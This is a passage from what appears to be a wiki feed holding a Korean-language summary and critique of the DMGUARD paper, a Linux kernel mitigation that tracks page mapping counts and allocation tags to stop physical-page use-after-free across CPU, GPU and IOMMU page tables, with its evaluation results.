** Linux kernel v6.1.99&lt;br /&gt;
** ARMv8.5 CPU&lt;br /&gt;
** Mali GPU&lt;br /&gt;
&lt;br /&gt;
* Pixel 3 XL&lt;br /&gt;
** Android 12&lt;br /&gt;
** Linux kernel v4.9.270&lt;br /&gt;
** ARMv8.2 CPU&lt;br /&gt;
** Qualcomm Adreno GPU&lt;br /&gt;
&lt;br /&gt;
비교 대상은 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* Baseline&lt;br /&gt;
** Dangling mapping mitigation이 없는 기본 Kernel configuration&lt;br /&gt;
&lt;br /&gt;
* ptcheck&lt;br /&gt;
** Linux CONFIG_PAGE_TABLE_CHECK&lt;br /&gt;
&lt;br /&gt;
* DMGUARD&lt;br /&gt;
** 본 논문에서 제안한 Runtime mitigation&lt;br /&gt;
&lt;br /&gt;
=== Security Evaluation ===&lt;br /&gt;
Security evaluation에서는 총 24개의 Physical-page use-after-free vulnerability를 대상으로 DMGUARD와 ptcheck를 비교하였다.&lt;br /&gt;
&lt;br /&gt;
* 19개는 Real-world vulnerability이다.&lt;br /&gt;
** Linux kernel&lt;br /&gt;
** Mali GPU driver&lt;br /&gt;
** Adreno GPU driver&lt;br /&gt;
** PowerVR GPU driver&lt;br /&gt;
&lt;br /&gt;
* 5개는 Synthetic vulnerability이다.&lt;br /&gt;
** Map-after-free case&lt;br /&gt;
** Race condition 기반 Free-before-unmap case&lt;br /&gt;
&lt;br /&gt;
논문은 이 중 15개를 실제 환경에서 Empirical evaluation하였다. 나머지 9개는 Hardware 부족, GPU driver virtual environment 미지원, Kernel/driver version mismatch 등의 이유로 직접 재현하지 못하고 Theoretical analysis를 수행하였다.&lt;br /&gt;
&lt;br /&gt;
Empirical evaluation 결과는 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* DMGUARD&lt;br /&gt;
** 15개 중 15개 모두 탐지하였다.&lt;br /&gt;
&lt;br /&gt;
* ptcheck&lt;br /&gt;
** 15개 중 5개만 탐지하였다.&lt;br /&gt;
&lt;br /&gt;
ptcheck가 탐지한 경우는 주로 CPU page가 CPU page table에 Mapping된 Free-before-unmap case이다. 반면 GPU page allocator, GPU page table, IOMMU page table이 관련된 경우나 Map-after-free case는 탐지하지 못했다.&lt;br /&gt;
&lt;br /&gt;
Theoretical analysis 대상 9개에서도 논문은 DMGUARD가 설계상 모두 탐지 가능하다고 분석하였다. 이 9개는 모두 GPU page가 GPU 또는 IOMMU context에 Mapping되는 형태라 ptcheck는 탐지하지 못한다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
=== False Positives and False Negatives ===&lt;br /&gt;
논문은 Performance evaluation과 Robustness test 중 DMGUARD가 False alarm을 발생시키지 않았다고 보고한다. 또한 Known vulnerability test에서 모든 Empirical case를 탐지했기 때문에 실험상 False negative도 관찰되지 않았다고 한다.&lt;br /&gt;
&lt;br /&gt;
그러나 설계상 False positive와 False negative 가능성은 존재한다.&lt;br /&gt;
&lt;br /&gt;
* MapCount 관련 False positive&lt;br /&gt;
** 실제로는 Unmap되었지만 MapCount가 감소하지 않으면, Free 시점에 Dangling mapping으로 잘못 판단할 수 있다.&lt;br /&gt;
&lt;br /&gt;
* MapCount 관련 False negative&lt;br /&gt;
** 실제로 Mapping되었지만 MapCount가 증가하지 않으면, Free-before-unmap을 놓칠 수 있다.&lt;br /&gt;
&lt;br /&gt;
* PageTag 관련 False negative&lt;br /&gt;
** Mapping 시점에 Tag check가 빠지면 Map-after-free를 놓칠 수 있다.&lt;br /&gt;
** Page가 Free/Reallocation될 때 Tag가 갱신되지 않으면 Stale reference를 탐지하지 못할 수 있다.&lt;br /&gt;
** 8-bit Tag collision이 발생하면 Old reference의 RefTag와 New PageTag가 우연히 일치할 수 있다.&lt;br /&gt;
&lt;br /&gt;
* Instrumentation coverage 문제&lt;br /&gt;
** Driver가 Standard API를 거치지 않고 Page table을 직접 조작하면 DMGUARD가 상태 변화를 추적하지 못할 수 있다.&lt;br /&gt;
&lt;br /&gt;
=== Finding Unknown Vulnerabilities ===&lt;br /&gt;
논문은 Pixel 8에서 DMGUARD를 활성화한 상태로 Syzkaller를 실행하였다. 이 과정에서 Upstream Mali GPU driver의 Dangling mapping issue를 발견하였다.&lt;br /&gt;
&lt;br /&gt;
해당 Issue는 Process가 GPU-allocated region에 대해 명시적으로 munmap()을 호출하지 않고 종료될 때, Physical page가 Free된 뒤에도 GPU page table entry가 남는 문제였다. 연구진은 이를 ARM에 보고했고, ARM은 Dangling mapping은 존재하지만 GPU task가 이미 종료된 뒤 생성되기 때문에 Exploitable하지 않다고 판단하였다.&lt;br /&gt;
&lt;br /&gt;
이 결과는 DMGUARD가 Known vulnerability를 막는 방어 기법일 뿐 아니라, 실제 Kernel/Driver의 Page lifecycle bug를 찾는 Detection tool로도 사용할 수 있음을 보여준다.&lt;br /&gt;
&lt;br /&gt;
=== Performance Evaluation ===&lt;br /&gt;
Performance evaluation은 Pixel 8에서 수행되었다.&lt;br /&gt;
&lt;br /&gt;
; LMBench&lt;br /&gt;
* DMGUARD의 Geomean overhead는 2.96%이다.&lt;br /&gt;
* ptcheck의 Geomean overhead는 1.99%이다.&lt;br /&gt;
* Fork 계열 Benchmark에서 상대적으로 높은 Overhead가 나타났다.&lt;br /&gt;
** Process fork+exit: 10.05%&lt;br /&gt;
** Process fork+execve: 12.58%&lt;br /&gt;
** Process fork+/bin/sh -c: 4.81%&lt;br /&gt;
* 이는 Fork 과정에서 많은 Page table entry를 설정하기 때문이라고 설명한다.&lt;br /&gt;
&lt;br /&gt;
; Phoronix Test Suite&lt;br /&gt;
* DMGUARD의 Geomean overhead는 1.26%이다.&lt;br /&gt;
* Workload는 OpenSSL, PyBench, Apache, Nginx, Redis, Linux unpack/build 등을 포함한다.&lt;br /&gt;
* 실사용 Application workload에서는 Overhead가 낮은 편이다.&lt;br /&gt;
&lt;br /&gt;
; Geekbench 6&lt;br /&gt;
* CPU Single-core&lt;br /&gt;
** Baseline: 1629.45&lt;br /&gt;
** DMGUARD: 1622.27(-0.44%)&lt;br /&gt;
&lt;br /&gt;
* CPU Multi-core&lt;br /&gt;
** Baseline: 4605.09&lt;br /&gt;
** DMGUARD: 4545.73(-1.29%)&lt;br /&gt;
&lt;br /&gt;
* GPU OpenCL&lt;br /&gt;
** Baseline: 7691.36&lt;br /&gt;
** DMGUARD: 7674.18(-0.22%)&lt;br /&gt;
&lt;br /&gt;
GPU workload에서도 Overhead가 낮다는 점은 DMGUARD가 GPU page table까지 추적하면서도 Runtime cost가 크지 않음을 보여준다. CPU Multi-core overhead는 Memory barrier로 인한 영향이 상대적으로 큰 것으로 해석된다.&lt;br /&gt;
&lt;br /&gt;
; Kernel boot time&lt;br /&gt;
* Baseline: 0.510s&lt;br /&gt;
* DMGUARD: 0.528s(+3.53%)&lt;br /&gt;
&lt;br /&gt;
; Application cold-start latency&lt;br /&gt;
* AOSP system app 10개에서 Geomean overhead는 3.10%이다.&lt;br /&gt;
* 최대 Overhead도 수 ms~수십 ms 수준으로 보고된다.&lt;br /&gt;
* 논문은 Boot time과 Cold-start overhead는 One-time cost이므로 지속적인 Runtime performance에는 큰 영향을 주지 않는다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
; Memory overhead&lt;br /&gt;
* DMGUARD는 ptcheck 대비 Page당 8 bytes의 추가 Metadata를 사용한다.&lt;br /&gt;
* Pixel 8 기준 Baseline 대비 Memory overhead는 약 1.05%이다.&lt;br /&gt;
* 논문은 전체 7,739,468 KB memory에서 약 50 MB 수준의 추가 사용량으로, 현대 시스템에서는 작은 비용이라고 주장한다.&lt;br /&gt;
&lt;br /&gt;
=== Robustness Evaluation ===&lt;br /&gt;
DMGUARD는 Linux kernel의 Page management path를 수정하므로 Stability가 중요하다. 논문은 Pixel 8에서 Android Vendor Test Suite(VTS) kernel test plan을 10회 반복 실행하였다.&lt;br /&gt;
&lt;br /&gt;
* Kselftest와 Linux Test Project(LTP)를 포함한 vts-kernel test를 수행하였다.&lt;br /&gt;
* 10회 반복 실행 중 Crash나 Hang이 발생하지 않았다.&lt;br /&gt;
* 모든 Test가 통과하였다.&lt;br /&gt;
* Performance evaluation 중에도 Unexpected error가 발생하지 않았다.&lt;br /&gt;
&lt;br /&gt;
이를 통해 논문은 DMGUARD가 실제 Android kernel에서 Stability를 해치지 않는다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
우선 메모리 Vulnerability domain을 새로 찾았다고 나오지만, 사실 pte check에서 체크하고 있던 잘 알려진 문제 였다는 점, 그리고 전반적으로 Design이 pte check의 확장 (이기종 시스템으로의)로 보인다는 점이 주된 한계로 들수 있다. 그러나 이기종 시스템에서 발생할 수 있는 UAF문제를 시기 적절하고 &amp;amp; 최초로 상정하였다는 점에서 Motivation이 납득 가능하고, Mechanisms측면에서는 이 적절한 Motivation을 효율적으로 풀 수 있는 최적의 방법이라는 점이 이 논문의 장점이라고 생각한다.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=DMGUARD:_Safeguarding_Kernels_from_Physical-Page_Use-After-Free_Vulnerabilities&amp;diff=7113</id>
		<title>DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=DMGUARD:_Safeguarding_Kernels_from_Physical-Page_Use-After-Free_Vulnerabilities&amp;diff=7113"/>
		<updated>2026-04-29T11:18:59Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류:USENIX Security]]&lt;br /&gt;
&lt;br /&gt;
{{Paper|title=DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities|author=Juhee Kim, Jaeyoung Chung, Dae R. Jeong, Byoungyoung Lee|year=2026|conference=USENIX Security}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
Physical-page use-after-free라는 Page table entry 수준에서 일어나는 Use-after-free를 새로운 Vulnerability domain으로 정의하고, 이를 막을 수 있는 Runtime mitigation인 DMGUARD를 제시하였다.&lt;br /&gt;
&lt;br /&gt;
기존의 Use-after-free는 일반적으로 Virtual address space 안에서 Freed object를 가리키는 Dangling pointer 문제로 이해되었다. 반면 본 논문에서 정의하는 Physical-page use-after-free는 Virtual address가 Page table을 통해 이미 Free되었거나 Reallocation된 Physical page를 계속 가리키는 문제이다. 즉, Object pointer가 아니라 Virtual-to-physical address translation layer에서 발생하는 Use-after-free이다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD는 각 Physical page의 Lifecycle을 State machine으로 모델링하고, Page allocation, Mapping, Unmapping, Free 시점에서 Per-page metadata를 업데이트한다. 이를 통해 Page가 아직 Mapping된 상태에서 Free되는 Free-before-unmap과, 이미 Free된 Page reference를 다시 Mapping하는 Map-after-free를 탐지한다.&lt;br /&gt;
&lt;br /&gt;
핵심 메커니즘은 두 가지이다. 첫째, MapCount를 이용해서 해당 Physical page가 User-space page table에 몇 번 Mapping되어 있는지를 추적한다. 둘째, PageTag와 RefTag를 이용해서 Page reference가 현재 Allocation cycle에 속한 유효한 Reference인지 확인한다. 이를 통해 CPU page table뿐 아니라 GPU page table, IOMMU page table처럼 여러 Translation domain에 걸친 Dangling mapping을 탐지하고 차단한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation &amp;amp; Importance ==&lt;br /&gt;
현대 Kernel security mechanism들은 대부분 Page table의 정확성을 전제로 한다. 예를 들어 ASLR, CFI, DFI, PAC, MTE, MPK와 같은 방어 기법은 Virtual address가 올바른 Physical page로 Translation된다는 가정 위에서 동작한다. 그러나 Page table에 Dangling mapping이 남아 있으면, 공격자는 기존 방어 기법을 우회해서 Freed page 또는 Reallocated page를 User space에서 접근할 수 있다.&lt;br /&gt;
&lt;br /&gt;
특히 Mobile/Embedded system에서는 CPU와 Integrated GPU가 같은 Physical memory를 공유하면서도 서로 다른 Page table을 사용한다. 예를 들어 Mali GPU나 Adreno GPU는 System DRAM을 공유하지만, GPU driver가 별도의 Page allocator와 GPU page table을 관리한다. 이 과정에서 CPU page table, GPU page table, IOMMU page table이 같은 Physical page를 가리킬 수 있다. Zero-copy memory sharing은 성능상 이점이 있지만, Page allocation과 Mapping/Unmapping의 책임이 여러 Subsystem에 분산되기 때문에 Page lifecycle 관리가 복잡해진다.&lt;br /&gt;
&lt;br /&gt;
기존의 CONFIG_PAGE_TABLE_CHECK(ptcheck)는 CPU-side Page table mapping을 중심으로 관리한다. 따라서 GPU allocator가 할당한 Page가 CPU page table에 Mapping되거나, GPU page table/IOMMU page table에 Mapping되는 경우를 충분히 추적하지 못한다. 또한 ptcheck는 Mapping status는 일부 추적하지만 Allocation status를 추적하지 않기 때문에 Map-after-free를 근본적으로 탐지하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
또한 Page management는 Performance-sensitive path에 있다. Page fault, mmap, munmap, fork, GPU memory management 등은 자주 호출되기 때문에, 단순히 Global lock을 걸거나 Heavy synchronization을 추가하는 방식은 실용적이지 않다. 따라서 이 논문의 Motivation은 Heterogeneous translation domain 전체에서 Page lifecycle을 정확히 추적하면서도 낮은 Overhead를 유지하는 것이다.&lt;br /&gt;
&lt;br /&gt;
== Challenge ==&lt;br /&gt;
* &#039;&#039;&#039;Systems with multiple different page tables distribute lifecycle management across independent subsystems&#039;&#039;&#039;&lt;br /&gt;
** 현대 시스템에서는 CPU, GPU, IOMMU 등이 각각 독립적인 Page table 또는 Translation structure를 가질 수 있다.&lt;br /&gt;
** Page allocation은 GPU driver가 수행하고, CPU mapping은 Kernel이 수행하며, IOMMU mapping은 별도의 Subsystem이 수행할 수 있다.&lt;br /&gt;
** 이처럼 Page lifecycle이 여러 Subsystem에 분산되어 있기 때문에, 어떤 Physical page가 아직 Mapping되어 있는지 전역적으로 판단하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Page management resides in a performance-sensitive path where synchronization overhead across different subsystems is expensive&#039;&#039;&#039;&lt;br /&gt;
** Page table operation은 Page fault, fork, mmap/munmap, GPU memory operation 등 성능에 민감한 경로에서 수행된다.&lt;br /&gt;
** 따라서 CPU/GPU/IOMMU 사이의 모든 Mapping 상태를 Lock 기반으로 동기화하면 Runtime overhead가 커질 수 있다.&lt;br /&gt;
** DMGUARD는 이를 해결하기 위해 Lockless design을 사용하고, Atomic operation과 Memory barrier를 통해 Concurrent Map/Free race를 막는다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;The kernel provides low-level mapping interfaces that bypass standard page management mechanisms&#039;&#039;&#039;&lt;br /&gt;
** Linux kernel은 VM_PFNMAP과 같이 Page descriptor나 Reference counting을 우회하는 Low-level PFN-based mapping interface를 제공한다.&lt;br /&gt;
** 이러한 Interface는 MMIO처럼 일반 Buddy allocator가 관리하지 않는 Memory를 Mapping하기 위해 필요하지만, Device driver가 Buddy allocator에서 온 Page에도 이를 사용하면 Reference count가 제대로 갱신되지 않을 수 있다.&lt;br /&gt;
** 결과적으로 Page가 아직 Mapping되어 있음에도 Free되거나, 이미 Free된 PFN을 다시 Mapping하는 문제가 생길 수 있다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Correctness under concurrency is non-trivial&#039;&#039;&#039;&lt;br /&gt;
** Map과 Free가 서로 다른 CPU core 또는 Subsystem에서 동시에 발생할 수 있다.&lt;br /&gt;
** Weak memory model을 가진 ARM/RISC-V에서는 Instruction reordering 때문에 MapCount update와 PageTag check의 순서가 뒤바뀔 수 있다.&lt;br /&gt;
** DMGUARD는 LKMM(Linux Kernel Memory Model)을 기준으로 Memory barrier와 Atomic operation을 배치하여, Concurrent Map-Free 상황에서도 Dangling mapping이 생기지 않도록 설계한다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
; Physical-page use-after-free&lt;br /&gt;
* Traditional heap use-after-free는 Virtual address space 안의 Pointer가 이미 Free된 Object를 가리키는 문제이다.&lt;br /&gt;
* Physical-page use-after-free는 Page table entry가 이미 Free되었거나 다른 목적으로 Reallocation된 Physical page를 계속 가리키는 문제이다.&lt;br /&gt;
* 따라서 문제의 위치가 Object allocator가 아니라 Address translation layer이다.&lt;br /&gt;
* 공격자는 Page spraying을 통해 Freed physical page가 Attacker-controlled content로 재할당되도록 유도할 수 있다.&lt;br /&gt;
* 그 결과 User process가 Dangling mapping을 통해 Kernel page table, Credential structure 등 민감한 Physical memory를 접근할 수 있다.&lt;br /&gt;
&lt;br /&gt;
; Dangling mapping&lt;br /&gt;
* Dangling mapping은 Page table entry가 이미 Free된 Physical page를 계속 가리키는 상태이다.&lt;br /&gt;
* 이 상태에서 Processor가 해당 Virtual address에 접근하면, 실제로는 Free되었거나 다른 용도로 재사용된 Physical page에 접근하게 된다.&lt;br /&gt;
* 논문은 Dangling mapping을 Physical-page UAF의 직접적인 원인으로 본다.&lt;br /&gt;
&lt;br /&gt;
; Free-before-unmap&lt;br /&gt;
* Page가 Page table에 아직 Mapping되어 있는데 먼저 Free되는 경우이다.&lt;br /&gt;
* 정상적인 순서는 Unmap(P) 이후 Free(P)이다.&lt;br /&gt;
* 하지만 Free(P)가 Unmap(P)보다 먼저 발생하면 기존 Page table entry가 Freed page를 계속 가리키게 된다.&lt;br /&gt;
* DMGUARD는 Free 시점에 MapCount가 0인지 확인하여 이를 탐지한다.&lt;br /&gt;
&lt;br /&gt;
; Map-after-free&lt;br /&gt;
* 이미 Free된 Page reference를 사용해서 Mapping을 만드는 경우이다.&lt;br /&gt;
* 예를 들어 Old struct page* 또는 Old PFN이 남아 있고, 이 Reference를 이용해 다시 PTE를 만들면 Freed page에 대한 Mapping이 생성될 수 있다.&lt;br /&gt;
* DMGUARD는 PageTag와 RefTag를 비교하여 Reference가 현재 Allocation cycle에 속하는지 확인한다.&lt;br /&gt;
&lt;br /&gt;
; CVE-2025-0072 사례&lt;br /&gt;
* 논문은 Mali GPU driver의 CVE-2025-0072를 대표적인 Real-world example로 제시한다.&lt;br /&gt;
* Mali driver는 mmap() 과정에서 GPU command buffer를 위한 Virtual address를 예약하고, GPU page allocator에서 Page를 할당한 뒤 queue-&amp;gt;phys에 Physical address를 저장한다.&lt;br /&gt;
* 실제 CPU mapping은 Lazy하게 Page fault 시점에 생성된다.&lt;br /&gt;
* 취약한 경로에서는 두 번째 mmap()이 queue-&amp;gt;phys를 새 Page로 덮어쓴 뒤, 첫 번째 mmap region을 munmap할 때 실제 Mapping은 제거되지 않지만 queue-&amp;gt;phys가 가리키는 두 번째 Page가 Free된다.&lt;br /&gt;
* 그 결과 VA2 -&amp;gt; PA2 Mapping이 CPU page table에 남아 있는데 PA2가 Free되어 Free-before-unmap 취약점이 발생한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
DMGUARD의 핵심 아이디어는 Physical page의 Lifecycle을 State machine으로 표현하고, 각 State transition이 올바른 순서로 일어나는지 Runtime에 검사하는 것이다.&lt;br /&gt;
&lt;br /&gt;
Page는 크게 다음 상태를 가진다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Freed-Unmapped&#039;&#039;&#039;&lt;br /&gt;
** Page allocator의 Free pool에 있는 상태이다.&lt;br /&gt;
** 어떤 Page table에도 Mapping되어 있지 않다.&lt;br /&gt;
** Virtual address를 통해 접근할 수 없다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allocated-Unmapped&#039;&#039;&#039;&lt;br /&gt;
** Page allocator에서 할당되었지만 아직 어떤 User-space page table에도 Mapping되지 않은 상태이다.&lt;br /&gt;
** Kernel은 struct page* 또는 PFN을 통해 이 Page를 참조할 수 있지만, User process는 아직 접근할 수 없다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allocated-Mapped&#039;&#039;&#039;&lt;br /&gt;
** Page가 할당되어 있고, 하나 이상의 Page table entry가 이 Physical page를 가리키는 상태이다.&lt;br /&gt;
** CPU page table, GPU page table, IOMMU page table 등 여러 Translation domain에서 동시에 Mapping될 수 있다.&lt;br /&gt;
&lt;br /&gt;
정상적인 Lifecycle은 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* Freed-Unmapped -&amp;gt; Allocated-Unmapped&lt;br /&gt;
** Alloc(P)에 의해 Page가 할당된다.&lt;br /&gt;
&lt;br /&gt;
* Allocated-Unmapped -&amp;gt; Allocated-Mapped&lt;br /&gt;
** Map(P)에 의해 Page table entry가 생성된다.&lt;br /&gt;
&lt;br /&gt;
* Allocated-Mapped -&amp;gt; Allocated-Unmapped&lt;br /&gt;
** Unmap(P)에 의해 모든 Mapping이 제거된다.&lt;br /&gt;
&lt;br /&gt;
* Allocated-Unmapped -&amp;gt; Freed-Unmapped&lt;br /&gt;
** Free(P)에 의해 Page가 allocator로 반환된다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD는 이 State machine에서 잘못된 Transition을 탐지한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Free-before-unmap&#039;&#039;&#039;&lt;br /&gt;
** Allocated-Mapped 상태의 Page가 Unmap 없이 Free되는 경우이다.&lt;br /&gt;
** 즉, Allocated-Mapped -&amp;gt; Freed-Unmapped로 바로 가는 잘못된 Transition이다.&lt;br /&gt;
** DMGUARD는 Free(P) 시점에 MapCount(P) != 0이면 이를 Free-before-unmap으로 판단한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Map-after-free&#039;&#039;&#039;&lt;br /&gt;
** Freed-Unmapped 상태의 Page reference를 이용해서 Mapping을 만드는 경우이다.&lt;br /&gt;
** 즉, Freed-Unmapped -&amp;gt; Allocated-Mapped처럼 Allocation 없이 Mapping이 만들어지는 잘못된 Transition이다.&lt;br /&gt;
** DMGUARD는 Map(P) 시점에 PageTag(P)와 RefTag(P)가 다르면 이를 Map-after-free로 판단한다.&lt;br /&gt;
&lt;br /&gt;
이를 위해 DMGUARD는 두 종류의 Metadata를 사용한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;MapCount&#039;&#039;&#039;&lt;br /&gt;
** Physical page마다 유지되는 Counter이다.&lt;br /&gt;
** User-space Mapping이 생성될 때 증가하고, Mapping이 제거될 때 감소한다.&lt;br /&gt;
** CPU page table뿐 아니라 GPU page table, IOMMU page table의 Mapping도 함께 반영한다.&lt;br /&gt;
** Page를 Free할 때 MapCount가 0이 아니면 아직 Dangling mapping이 존재할 수 있으므로 Free-before-unmap으로 탐지한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PageTag / RefTag&#039;&#039;&#039;&lt;br /&gt;
** PageTag는 Physical page의 현재 Allocation cycle을 나타내는 Per-page tag이다.&lt;br /&gt;
** RefTag는 struct page* 또는 PFN 같은 Page reference에 붙는 Tag이다.&lt;br /&gt;
** Page가 Allocate될 때 PageTag를 새 Random value로 갱신하고, 그 Page를 가리키는 Reference에는 같은 RefTag를 부여한다.&lt;br /&gt;
** Page가 Free되면 PageTag를 다시 갱신하여 Old reference를 무효화한다.&lt;br /&gt;
** Mapping을 만들 때 PageTag와 RefTag가 일치하지 않으면, Old reference를 통한 Map-after-free로 판단한다.&lt;br /&gt;
&lt;br /&gt;
즉, DMGUARD는 Mapping status는 MapCount로 추적하고, Allocation status는 PageTag/RefTag로 추적한다. 이 두 정보를 결합하여 “Freed page가 Mapping되거나, Mapped page가 Free되는 상태”를 Runtime에 막는다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
DMGUARD의 설계는 크게 State machine, Twofold state tracking, Lockless integration, Kernel/GPU driver instrumentation으로 구성된다.&lt;br /&gt;
&lt;br /&gt;
=== Page Lifecycle State Machine ===&lt;br /&gt;
DMGUARD는 각 Physical page의 상태를 Allocation status와 Mapping status의 조합으로 본다.&lt;br /&gt;
&lt;br /&gt;
* Allocation status&lt;br /&gt;
** Freed&lt;br /&gt;
** Allocated&lt;br /&gt;
&lt;br /&gt;
* Mapping status&lt;br /&gt;
** Unmapped&lt;br /&gt;
** Mapped&lt;br /&gt;
&lt;br /&gt;
이 조합을 통해 Page는 Freed-Unmapped, Allocated-Unmapped, Allocated-Mapped 상태를 가진다. Freed-Mapped 상태는 존재해서는 안 되는 Invalid state이다. Physical-page UAF는 결국 Freed-Mapped 상태가 만들어지는 문제로 볼 수 있다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD의 목표는 Runtime에 Page operation을 감시하여 Freed-Mapped 상태가 생기기 전에 중단하는 것이다.&lt;br /&gt;
&lt;br /&gt;
=== Tracking Mapping Status with MapCount ===&lt;br /&gt;
MapCount는 Page가 몇 개의 User-space Mapping을 가지고 있는지를 나타낸다.&lt;br /&gt;
&lt;br /&gt;
* Map(P)&lt;br /&gt;
** Page가 User-space page table에 Mapping되면 MapCount(P)를 증가시킨다.&lt;br /&gt;
&lt;br /&gt;
* Unmap(P)&lt;br /&gt;
** Page의 Mapping이 제거되면 MapCount(P)를 감소시킨다.&lt;br /&gt;
&lt;br /&gt;
* Free(P)&lt;br /&gt;
** Page를 Free하기 전에 MapCount(P)를 확인한다.&lt;br /&gt;
** MapCount(P)가 0이면 안전하게 Free할 수 있다.&lt;br /&gt;
** MapCount(P)가 0보다 크면 아직 Mapping이 남아 있으므로 Free-before-unmap으로 탐지한다.&lt;br /&gt;
&lt;br /&gt;
이 방식은 Reference counting과 유사하지만, 일반적인 Object reference count가 아니라 Page table mapping의 개수를 추적한다는 점이 중요하다. 또한 CPU page table뿐 아니라 GPU/IOMMU page table의 Mapping까지 포함한다.&lt;br /&gt;
&lt;br /&gt;
=== Tracking Allocation Status with PageTag / RefTag ===&lt;br /&gt;
MapCount만으로는 Map-after-free를 막을 수 없다. 이미 Free된 Page reference가 남아 있고, 이를 이용해 Mapping을 만들면 MapCount는 새로 증가할 수 있기 때문이다. 따라서 DMGUARD는 Allocation cycle을 구분하기 위해 Tagging을 사용한다.&lt;br /&gt;
&lt;br /&gt;
* PageTag&lt;br /&gt;
** Physical page의 Per-page metadata에 저장된다.&lt;br /&gt;
** 현재 Allocation cycle을 나타낸다.&lt;br /&gt;
** Page가 Allocate되거나 Free될 때 새 Random tag로 갱신된다.&lt;br /&gt;
&lt;br /&gt;
* RefTag&lt;br /&gt;
** struct page* 또는 PFN 같은 Page reference에 저장된다.&lt;br /&gt;
** 해당 Reference가 만들어졌을 때의 PageTag를 보존한다.&lt;br /&gt;
** ARM64에서는 TBI(Top Byte Ignore)를 활용하여 struct page*의 Top byte에 RefTag를 저장한다.&lt;br /&gt;
&lt;br /&gt;
Mapping을 만들 때 DMGUARD는 PageTag(P)와 RefTag(P)를 비교한다.&lt;br /&gt;
&lt;br /&gt;
* PageTag(P) == RefTag(P)&lt;br /&gt;
** Reference가 현재 Allocation cycle의 Page를 가리키므로 Mapping을 허용한다.&lt;br /&gt;
&lt;br /&gt;
* PageTag(P) != RefTag(P)&lt;br /&gt;
** Reference가 Old allocation cycle의 Stale reference이므로 Map-after-free로 탐지한다.&lt;br /&gt;
&lt;br /&gt;
논문에서는 8-bit Tag를 사용한다. 하나의 값은 Default tag로 예약하고, 나머지 값을 Random하게 사용한다. 이 때문에 일반적인 Reallocation 이후 Map-after-free에는 1/255 확률의 Tag collision 가능성이 있다. 그러나 Free 직후 바로 Mapping하는 Immediate map-after-free의 경우 이전 Tag와 다른 값을 강제하여 100% 탐지한다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
=== Lockless Integration ===&lt;br /&gt;
Page management path는 매우 성능에 민감하므로 DMGUARD는 Global lock을 사용하지 않는다. 대신 Atomic operation과 Memory barrier를 사용하여 Concurrent operation의 Correctness를 보장한다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD의 핵심 Operation은 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* dmcAlloc()&lt;br /&gt;
** 기존 Alloc()을 호출해 Page를 할당한다.&lt;br /&gt;
** PageTag를 새 값으로 갱신한다.&lt;br /&gt;
** 반환되는 struct page* 또는 PFN에 같은 RefTag를 설정한다.&lt;br /&gt;
&lt;br /&gt;
* dmcMap()&lt;br /&gt;
** MapCount를 증가시킨다.&lt;br /&gt;
** Memory barrier를 수행한다.&lt;br /&gt;
** PageTag와 RefTag를 비교한다.&lt;br /&gt;
** Tag가 일치하면 실제 Map(P)를 수행한다.&lt;br /&gt;
** Tag가 다르면 Map-after-free로 판단한다.&lt;br /&gt;
&lt;br /&gt;
* dmcUnmap()&lt;br /&gt;
** 실제 Unmap(P)를 수행한다.&lt;br /&gt;
** MapCount를 감소시킨다.&lt;br /&gt;
** MapCount가 음수가 되면 잘못된 Unmap으로 판단한다.&lt;br /&gt;
&lt;br /&gt;
* dmcFree()&lt;br /&gt;
** PageTag를 먼저 갱신하여 기존 Reference를 무효화한다.&lt;br /&gt;
** Memory barrier를 수행한다.&lt;br /&gt;
** MapCount가 0인지 확인한다.&lt;br /&gt;
** MapCount가 0이면 실제 Free(P)를 수행한다.&lt;br /&gt;
** MapCount가 0보다 크면 Free-before-unmap으로 판단한다.&lt;br /&gt;
&lt;br /&gt;
이 순서는 Concurrent Map-Free race를 막기 위해 중요하다. 예를 들어 dmcMap에서 MapCount 증가가 PageTag check보다 뒤로 Reorder되면, 동시에 수행되는 dmcFree가 MapCount를 0으로 보고 Page를 Free할 수 있다. DMGUARD는 Memory barrier를 통해 이러한 Reordering을 막는다.&lt;br /&gt;
&lt;br /&gt;
논문은 이 Lockless design이 x86, ARM, RISC-V 등 Linux가 지원하는 Architecture의 Memory model에서도 안전하게 동작하는지 LKMM(Linux Kernel Memory Model) Litmus test로 검증했다고 주장한다.&lt;br /&gt;
